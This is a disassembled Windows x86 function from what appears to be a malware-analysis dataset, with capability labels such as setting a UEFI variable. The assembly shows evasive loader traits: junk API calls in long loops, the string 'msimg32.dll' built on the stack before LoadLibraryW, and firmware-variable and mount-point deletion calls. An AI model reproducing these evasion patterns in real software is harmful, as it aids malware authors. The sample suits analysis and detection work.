Function at 0x428960
Capabilities:
Get common file path
Get disk information
Get file size
Manipulate console buffer
Read .ini file
Set uefi variable
Terminate thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x42b11b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x21b8
call fcn.00412a50
push ebx
mov ebx, dword [sym.imp.MSIMG32.dll_AlphaBlend]
push ebp
mov ebp, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
push esi
xor eax, eax
mov dword [esp + 0xc], eax
mov esi, dword [esp + 0xc]
push edi
mov edi, dword [esp + 0x10]
cmp eax, 0x2d1ff
jge 0x4289bb
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_CharToOemBuffW]
mov eax, dword [esp + 0x10]
cmp dword [0x7b73fc], 0x6fb
jne 0x428a36
push 0
call ebp
push esi
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call ebx
push 0x30
lea eax, [esp + 0x4c]
push 0
push eax
mov dword [esp + 0x50], 0
call fcn.0040aff0
add esp, 0xc
push edi
lea ecx, [esp + 0x48]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push 0
lea edx, [esp + 0x1cc]
push edx
push 0x404068
call dword [sym.imp.KERNEL32.dll_GetProfileSectionA]
push 0
push 0
push 0x4040ac
push 0x4040e8
call dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableW]
mov eax, dword [esp + 0x10]
cmp eax, 0x1e9c85dc
jle 0x428a51
cmp dword [esp + 0x10], 0xc0e420
je 0x428a51
cmp dword [esp + 0x50], 0x9266bc0
jne 0x428a63
inc eax
mov dword [esp + 0x10], eax
cmp eax, 0x7d62d
jl 0x4289a4
jmp 0x428a81
cmp dword [0x7b73fc], 0x28
jne 0x428a81
push 0x4040fc
push 0x404114
push 0x40412c
call dword [sym.imp.KERNEL32.dll_WriteProfileStringA]
cmp dword [0x7b73fc], 0xcf8
jne 0x428aff
push 0x4041a8
push 0
call fcn.00407f15
xor esi, esi
push esi
push esi
call fcn.00413ec0
push 0x4041b4
mov dword [esp + 0x40], 0xf
mov dword [esp + 0x3c], esi
mov byte [esp + 0x2c], 0
call fcn.00407d50
add esp, 0x14
push eax
push 0x4041b4
lea ecx, [esp + 0x20]
call fcn.004060e0
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x7c]
push ecx
mov dword [esp + 0x21dc], esi
call fcn.00405810
cmp dword [esp + 0x2c], 0x10
jb 0x428af9
mov edx, dword [esp + 0x18]
push edx
call fcn.00407fdd
add esp, 4
push esi
call fcn.00408369
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileSize]
xor esi, esi
cmp esi, 0x408
jne 0x428b26
mov eax, 0x5d1
add dword [0x7b73fc], eax
cmp dword [0x7b73fc], 0xca3
jne 0x428b57
push 0
push 0
push 0
push 0
call edi
xor eax, eax
lea edx, [esp + 0x14]
push edx
push eax
push eax
push 0x4041c8
push eax
mov dword [esp + 0x24], eax
call ebx
push 0
push 0
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x428b13
mov ecx, dword [0x7b73fc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x7b7364], eax
mov eax, dword [0x7b73fc]
xor esi, esi
test eax, eax
je 0x428c22
mov edi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessId]
mov ebp, dword [sym.imp.KERNEL32.dll_SetLastError]
cmp eax, 0xfe
jne 0x428be5
push 0
lea edx, [esp + 0x1cc]
push edx
call edi
push 0
call ebx
push 0
call ebp
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
xor eax, eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x48]
push ecx
push 0x4041e0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
call fcn.00428410
mov eax, dword [0x7b73fc]
cmp eax, 0x29
jne 0x428c19
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
mov eax, dword [0x7b73fc]
inc esi
cmp esi, eax
jb 0x428b95
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov edi, 0x9682ab
lea ecx, [ecx]
cmp eax, 3
jne 0x428c48
push 0
push 0
push 0
push 0
push 0
push 0
call esi
mov eax, dword [0x7b73fc]
dec edi
jne 0x428c30
mov esi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov edi, dword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
mov ebp, 0x25887
mov ebx, 0xabebc05c
mov dword [0x7b736c], ebx
cmp eax, 0x222
jne 0x428c83
push 0
lea edx, [esp + 0x11cc]
push edx
call esi
push 0
call edi
mov eax, dword [0x7b73fc]
dec ebp
jne 0x428c61
mov byte [0x4336b0], 0
call fcn.00428360
call fcn.00428730
mov ebp, dword [sym.imp.KERNEL32.dll_GlobalFix]
mov edi, dword [sym.imp.KERNEL32.dll_GlobalFlags]
mov ebx, dword [sym.imp.KERNEL32.dll_LocalFlags]
xor esi, esi
jmp 0x428cb0
cmp dword [0x7b73fc], 0xba
jne 0x428cd2
lea eax, [esp + 0x44]
push eax
call ebp
push 0x4041f4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push 0
call edi
push 0
call ebx
cmp esi, 0x2f64
jne 0x428ced
mov eax, 0x4bbb
add dword [0x7b7364], eax
inc esi
cmp esi, 0x1605a
jl 0x428cb0
mov edx, 0x6d
mov word [0x7b7406], dx
mov edx, 0x6c
mov word [0x7b7414], dx
mov ecx, 0x69
xor edx, edx
push 0x7b7400
mov dword [0x7b7410], 0x6c0064
mov dword [0x7b740c], 0x2e0032
mov word [0x7b7404], cx
mov dword [0x7b7400], 0x73006d
mov word [0x7b7416], dx
mov dword [0x7b7408], 0x330067
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, 0x73
mov edx, 0x6d
mov word [0x7b7402], cx
mov word [0x7b7406], dx
xor edx, edx
cmp dword [0x7b73fc], 0xc30
mov eax, 0x33
mov ecx, 0x67
mov word [0x7b740a], ax
mov word [0x7b7416], dx
mov word [0x7b7408], cx
mov edx, 0x69
mov eax, 0x6d
mov ecx, 0x6c
mov dword [0x7b7410], 0x6c0064
mov word [0x7b7404], dx
mov word [0x7b7400], ax
mov word [0x7b7414], cx
mov dword [0x7b740c], 0x2e0032
jne 0x428ec5
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateThread]
lea ecx, [esp + 0x1c8]
push ecx
push 0x404230
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
lea eax, [esp + 0x9cc]
push eax
push 0x404240
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
call esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateActCtxW]
push 0
lea ecx, [esp + 0x14]
push ecx
push 0
lea edx, [esp + 0x5d4]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push 0
lea eax, [esp + 0x11cc]
push eax
lea ecx, [esp + 0x48]
push ecx
lea edx, [esp + 0x40]
push edx
lea eax, [esp + 0x4c]
push eax
lea ecx, [esp + 0x4c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
push 0x404270
call esi
push 0
lea edx, [esp + 0x19cc]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VerLanguageNameW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
lea eax, [esp + 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DeactivateActCtx]
push 0x404290
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
mov ecx, dword [esp + 0x21cc]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret